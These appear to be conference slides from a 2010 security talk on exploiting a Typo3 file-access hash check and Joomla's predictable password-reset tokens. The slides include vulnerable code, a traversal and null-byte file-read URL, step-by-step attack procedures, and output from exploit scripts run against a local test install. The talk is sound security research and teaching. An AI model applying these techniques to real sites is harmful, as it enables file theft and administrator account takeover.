

Non-Obvious Bugs by Example

Gregor Kopf

BerlinSides 2010

What and why?

- Non-obvious (crypto) bugs
 - As an example: two well-known CMS
- Easy to make, hard to spot
- Interesting to exploit
- Fun ;)

How?

- The process from discovery to exploitation will be shown
 - The code part that raised suspicion
 - Observations and initial thoughts about the code
 - Further analysis (technical background of the bug)
 - Exploitation

Let's get started: Typo3

What Are We Looking at?

- Typo3 will allow us to view (almost) arbitrary files
- Just use a URL like
`http://foobar/index.php?jumpurl=target.txt&locationData=1::1&juSecure=1&juHash=31337f0023`
- You need to supply a hash value juHash, which typo3 verifies before file access is granted
- Let's look at the code!

The Code

```
1      $hArr = array(  
2          $this->jumpurl,  
3          t3lib_div::_GP('locationData'),  
4          t3lib_div::_GP('mimeType'),  
5          $this->TYPO3_CONF_VARS['SYS']['encryptionKey']  
6      );  
7      $calcJuHash=t3lib_div::shortMD5(serialize($hArr));  
8      $juHash = t3lib_div::_GP('juHash');  
9      if ($juHash == $calcJuHash) {  
10         if ($this->locDataCheck($locationData)) {  
11             $this->jumpurl = rawurldecode($this->jumpurl);  
12             if (t3lib_div::verifyFilenameAgainstDenyPattern($this->jumpurl)  
13                 && basename(dirname($this->jumpurl)) !== 'typo3conf') {  
14                 if (@is_file($this->jumpurl)) {  
15                     [...]  
16                     readfile($this->jumpurl);  
17                     exit;  
18                 }  
19             }  
20         }  
21     }
```

Observations

```
1      $hArr = array(  
2          $this->jumpurl,  
3          t3lib_div::_GP('locationData'),  
4          t3lib_div::_GP('mimeType'),  
5          $this->TYPO3_CONF_VARS['SYS']['encryptionKey']  
6      );  
7      $calcJuHash=t3lib_div::shortMD5(serialize($hArr));
```

- To calculate juHash, a variable named encryptionKey is used
- encryptionKey is unknown to us, so we cannot supply the correct hash value. Or can we?
- Side note: juSecure is basically a MAC of jumpurl. It's built improperly, as encryptionKey is just appended at the end of the data.

shortMD5

- What does shortMD5() do?

```
1 public static function shortMD5($input, $len=10) {  
2     return substr(md5($input),0,$len);  
3 }
```

- shortMD5() returns the first 5 bytes (10 hex chars) of the MD5 hash of its input
- Shortening hash values is generally OK, but 5 bytes is not quite much...

The Equals Operator in PHP

- The supplied hash is compared with the computed hash using the PHP operator `==`
- That looks reasonable. However, the `==` operator has some issues
- In PHP, `==` is not typesafe
- PHP might perform nasty typecasting before the actual comparison is performed!

More on ==

- From the PHP manual:

```
1 var_dump(0 == "a"); // 0 == 0 -> true
2 var_dump("1" == "01"); // 1 == 1 -> true
3 var_dump("10" == "1e1"); // 10 == 10 -> true
4 var_dump(100 == "1e2"); // 100 == 100 -> true
```

- Uh, WTF?
- In PHP, 100 is equal to 1e2 when using the == operator..
Nice to know ;)
- Side note: scientific notation $1.234e2 = 1.234 \cdot 10^2 = 123.4$

The Idea

- What if the computed hash looks like `0e66631337`?
- The comparison operator will treat it as equal to `0` ($0e66631337 = 0 \cdot 10^{66631337} = 0$).
- If we could influence the computed hash to take the desired form, then we'd know it would be equal to `0`, which we could easily submit as our `juHash` value

Thoughts on the Feasibility

- The computed hash can be easily influenced, as jumpurl does not need to be canonical (e.g. we can just append `./` to the file name)
- But what's the probability of hitting one of the hash values we want?
- Let's assume the first byte has to be `0x0e`. The following nibbles would then need to be numerical (i.e. only from 0 to 9)
- Let's further assume MD5 generates a random distribution. There are 16 values for each nibble (0 - f). Ten of them (0-9) are OK for us. We therefore have a chance of $\frac{10}{16} = \frac{5}{8}$ that a nibble is numeric.

Thoughts on the Feasibility

- As all the nibbles are (assumed to be) independent, the overall chance for a good hash is $\underbrace{\frac{1}{256}}_{\text{first byte}} \cdot \underbrace{\left(\frac{5}{8}\right)^8}_{\text{8 left nibbles}}$
- That is about 0.009095...%. In other words, in average we need 5498 tries before we hit a good hash value
- That's not terribly much..
- Actually we need even less tries, as hashes like 000e1337... are also OK.

The Attack

- It's straight forward. Submit multiple requests for the same file
- For each request, prepend a ./ to the filename
- Always submit 0 as juHash value
- Get some beer^W coffee and wait for your file

For your Amusement

- The code should actually check that you don't download localconf.php, which contains encryptionKey
- In fact, if MAGICQUOTES_GPC is disabled, it doesn't
- Just use a file name like
typo3conf/localconf.php%00/foobar/aa
- Once you got the encryption key, you can calculate the correct juHash value for any file you like

Demo!

Even more fun: Joomla

The Code

- Looking through the code, one stables upon the function `genRandomPassword()`. Interesting :)

```
1 function genRandomPassword($length = 8) {
2     $salt = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
3     $len = strlen($salt);
4     $makepass = '';
5
6     $stat = @stat(__FILE__);
7     if(empty($stat) || !is_array($stat)) $stat = array(php_uname());
8
9     mt_srand(crc32(microtime() . implode('|', $stat)));
10
11     for ($i = 0; $i < $length; $i++) {
12         $makepass .= $salt[mt_rand(0, $len - 1)];
13     }
14
15     return $makepass;
16 }
```

Observations

- The used PRNG is the Mersenne Twister (seeded with 32 bit values)
 - For each length, there are at most 2^{32} passwords
- Reseeding the PRNG for every password is not exactly smart
- The seed is obtained using CRC32
- CRC input values are the system time and the output of `stat()`
- The only things that change in the CRC input are the time fields
- CRC32 is not a cryptographic hash!
- Maybe the seed is predictable?

Impact?

- Even if we could predict the seed: what would it be good for?
- The affected function is used for generating password reset tokens:

```
1 // Generate a new token
2 $token = JUtility::getHash(JUserHelper::genRandomPassword());
3 $salt = JUserHelper::getSalt('crypt-md5');
4 $hashedToken = md5($token.$salt).'::'.$salt;
5
6 $query = 'UPDATE #_users'
7         . ' SET activation = ' . $db->Quote($hashedToken)
8         . ' WHERE id = ' . (int) $id
9         . ' AND block = 0';
10
11 $db->setQuery($query);
```

- Password reset → admin account → fun/profit

getHash

- To generate a password reset token, the function `getHash()` is used:

```
1 function getHash( $seed )  
2 {  
3     $conf =& JFactory::getConfig();  
4     return md5( $conf->getValue('config.secret') . $seed );  
5 }
```

- `config.secret` is a random string generated during the installation process
- `genRandomPassword()` is used to generate `config.secret`

```
1 $vars['siteUrl'] = JURI::root();  
2 $vars['secret'] = JUserHelper::genRandomPassword(16);  
3  
4 $vars['offline'] = JText::_('STDOFFLINEMSG');
```

Short Summary

- The password reset function generates a reset token and sends it out via e-mail
 - Uses a randomly generated string
 - Also uses an installation-specific secret key :(
- We need to find a way to predict the randomly generated string
- We also need to know the secret key
- Looks challenging. Let's go!

How to Obtain config.secret

- config.secret is used in a number of places
- Whenever you click „remember my password”, a cookie will be set. The cookie's name is determined by the following code:

```
1      $crypt = new JSimpleCrypt($key);  
2      $cookie = $crypt->encrypt(serialize($credentials));  
3      $lifetime = time() + 365*24*60*60;  
4      setcookie( JUtility::getHash('JLOGIN_REMEMBER'), $cookie ,  
5                $lifetime , '/' );
```

- getHash() is used here again, so
cookie = md5(config.secret + JLOGIN_REMEMBER)

How to Obtain config.secret

- config.secret is generated during the installation process using the password generation function we have already seen
- There are only 2^{32} possible passwords, so we could build a table to look up the used seed based on the observed authentication cookie name
 - That costs us 2^{32} memory and 2^{32} time
 - Could be optimized using rainbow tables
 - It's a great stress test and benchmark for your hardware ;)

Next Steps

- Alright, we can get `config.secret`. What now?
- We would like to predict the seed is was used to initialize the PRNG when we reset some password
- CRC is used to generate that seed. Let's have a closer look at CRC
 - Cyclic Redundancy Check
 - Based on polynomials over \mathbb{F}_2

More CRC

- Message m is interpreted as a polynomial over \mathbb{F}_2 , taking the bits as coefficients (MSB $\rightarrow x^0$)
- $CRC(m) := x^N \cdot \text{poly}(m) \bmod g$ for some fixed polynomial g (one can say that CRC operates on a polynomial ring)
- The multiplication by x^N is for technical reasons. For CRC32: $N = 32$
- Example: $11001_b \rightarrow 1 \cdot x^0 + 1 \cdot x^1 + 0 \cdot x^2 + 0 \cdot x^3 + 1 \cdot x^4$
- The message polynomial is divided by a fixed generator polynomial (polynomial division, you might remember it from school)
- The remainder is the CRC value

So?

- An interesting property: CRC is additive!
- $CRC(m) + CRC(n) = CRC(m + n)$
- Addition is of course in \mathbb{F}_2
- I.e. $poly(m) + poly(n) = poly(m \text{ xor } n)$

So?

- To put it in other words
 - Assume we have some message m but we only know its CRC value c
 - We can now generate CRC values $CRC(m \text{ xor } n)$, where n is another message
 - That means: we can selectively change bits in the message and (without even knowing the message!) obtain according CRC values
- Once we know one CRC value used for PRNG initialization, we could try to use it to predict future CRC values

The Idea

- Reset our own password and obtain a token
- Use the token to obtain the CRC value that was used to initialize the PRNG
 - Again, there are only 2^{32} possibilities
 - The CRC value can be guessed or a (site specific, as token depends on config.secret) table can be build
- Use the obtained CRC value to calculate future CRC values
- Reset the password of the admin account and guess the token

Flipping the Bits

- The input to the CRC function was

```
1 | crc32( microtime() . implode(' | ', $stat))
```

- Between two calls, only the first few bits in the CRC argument change
- More precisely, as `microtime()` is used in a string context, only the lower nibbles of the first few bytes can change (e.g. from `0x30` to `0x33` or so)

Flipping the Bits

- Sample output of `microtime()`: 0.95003500 1283184410
fraction of seconds system time
- The last two bytes of the first part are often zero
- If we manage to issue two password reset requests within the same 10ms, then the potentially flipped bits are represented by the following mask:

0x 00000000 0f0f0f0f 00000...
0.XX not changed potentially flipped low nibbles last part not changed

- So let's just compute the CRC of those flipped bits and add it to the CRC we already know from our token!
- Erm, wait. How many zeroes are there at the end?
- We also need to know the length of the CRC input string
- Unfortunately, that depends on the output of `stat()`, which we cannot predict

Finding the Original Input Length

- We can generate two reset tokens for our own account
- We know that the input to the CRC function only differs in a few bits
- XORing the two CRC values results in the CRC value d of the bit difference of both original inputs
- Both CRC inputs have an unknown length l
- The bit difference must have the form

$\underbrace{1011001\dots}_{k \text{ bits that make the difference}}$ $\underbrace{0000000\dots}_{l-k \text{ zero bits}}$

k bits that make the difference $l-k$ zero bits

Finding the Original Input Length

- Now it gets interesting ;)
- Say we have the CRC d of the bit difference m and we want to find the original input length l
- We know the bit difference has the form $m \cdot X^l$, i.e. only the first few bits may have changed
- The equation we want to solve looks like this:
$$X^{32} \cdot m \cdot X^l \equiv_g d$$
- Keep in mind: X , m and d are polynomials, $x \equiv_g y$ is shorthand for $x = y \pmod{g}$

Finding the Original Input Length

- Lucky us, in case of CRC32 g is irreducible, i.e. X^{32+l} is invertible
- We can use the extended version of euclids algorithm to compute $(X^{32+l})^{-1}$, where $(X^{32+l})^{-1} \cdot X^{32+l} = 1$
- That gives us $m \equiv_g d \cdot (X^{32+l})^{-1}$
- If we assume $m < g$, then obviously $m \bmod g = m$. In that case we can therefore simply write $m = d \cdot (X^{32+l})^{-1}$
- Although we neither know m nor l , we can still enumerate different values for l and see if one of the resulting m will match our constraints regarding the flipped bits (only the lower nibbles are flipped)
- That will typically give us one or two candidates for l . Iterate the process to determine l

The Full Attack

- Log in on the target site and click „remember my password”
- Use the obtained cookie name to look up the value `config.secret`
- Reset your own password a couple of times
- Reset the password of the admin account
- Use the obtained tokens to get the CRC32 values that were used to initialize the PRNG
 - Use a pre-calculated (application specific!) table
 - Or perform a live brute force search

The Full Attack

- Use the obtained CRC32 values to calculate the length l of the input to the CRC32 function
- Now enumerate all possible bit differences (e.g. $0x\underbrace{000000000f0f0f0f00000}_{l \text{ bytes}} \dots$), and compute their CRCs
- Add the computed CRCs to the CRC that was used to initialize the PRNG for your own token
- Use the obtained CRCs to initialize the PRNG and to build tokens based on `config.secret` and a randomly generated string
- Get some beer^W vodka and wait until you hit the right token

Demo!

Conclusions (Typo3)

- What went wrong?
 - Shortening a MAC value without proper reasons
 - We have enough bandwidth to submit full hash values ;)
 - Using a not-typesafe comparison operator
 - Further: forgetting about null bytes

Conclusions (Joomla)

- Using a weak PRNG
 - 32 bit seed
 - No entropy accumulator
- Frequently reseeding the PRNG
- Using CRC32 for cryptographic purposes

Contact me:

- mail: ping@gregorkopf.de
- twitter: [teh_gerg](#)

Sploit demo: Typo3

```
[greg@uchuck ~/research/typo3]$ python sploit.py http://127.0.0.1/t3/index.php ../../../../../../etc/passwd
[.] Done 100 tries.
[+] Success after 142 tries!
[+] Download link: http://127.0.0.1/t3/index.php?jumpurl=../../../../../../etc/passwd
                    &locationData=1::3541&juSecure=1&juHash=0
# $FreeBSD: src/etc/master.passwd,v 1.40.22.1.4.1 2010/06/14 02:09:06 kensmith Exp $
#
root:*:0:0:Charlie &:/root:/bin/csh
toor:*:0:0:Bourne-again Superuser:/root:
daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin
operator:*:2:5:System &:/usr/sbin/nologin
[...]
```

Sploit demo: Joomla

```
[greg@uchuck ~/research/joomla]$ python feierAndForget.py 127.0.0.1 /joomla 'greg@uchuck' 'root@uchuck'  
[+] Getting cookie..  
[+] Cookie = 0adafef00f88ef16c63573cbc80ec425=  
          ade360257773f5c36186bfa4489d57c6  
[+] Got remember cookie: 8dfa83e4cf5cae043b797a3c2a9fdee4  
[+] Looking it up in the tables:  
.....  
[+] CRC value 0xD5E47F7E was used to generate config.secret  
[+] config.secret = OYHDHQbgoYMSETeT  
[+] Precomputed tables found! Going on.  
[+] Establishing new session..  
[+] Reset requests sent. Check your mail!  
[.] Please enter token 1:  
c13308a6e411f270ce39b4a80d4ca591  
[.] Please enter token 2:  
241a5822289bae9bfa8cc28ba2a425f3  
[+] Thanks. Now looking up token1 in the specific tables:  
.....  
[+] Found token1. CRC = 0x129FACBB  
[+] Now for token2:  
.....  
[+] Found token2. CRC = 0x24083D4E  
[+] CRC pre-image length: 176  
[+] Please, only one more token:  
0daacacae08c6956394aeb94d5d67094  
.....
```

Sploit demo: Joomla (contd.)

```
[X] Time to try:
python bruteToken.py OYHDHQbgoYMSETeT 0x96855789 00000000f0f0f0f\
176 127.0.0.1 /joomla admin

[greg@uchuck ~/research/joomla]$ python bruteToken.py\
OYHDHQbgoYMSETeT 0x96855789\
00000000f0f0f0f 176 127.0.0.1\
/joomla admin

[+] Getting cookie..
[+] Cookie = 0adafef00f88ef16c63573cbc80ec425=
4f891a91a889f5595671122582e50fbe
[+] Got hidden field: 51e2a6f3a5e0d324930875ae97bb98b3
.....
Your username / token: admin / b3b729db0688260e12da1c32e6375231
URL http://127.0.0.1//joomla/index.php?option=com_user
&view=reset&layout=confirm
```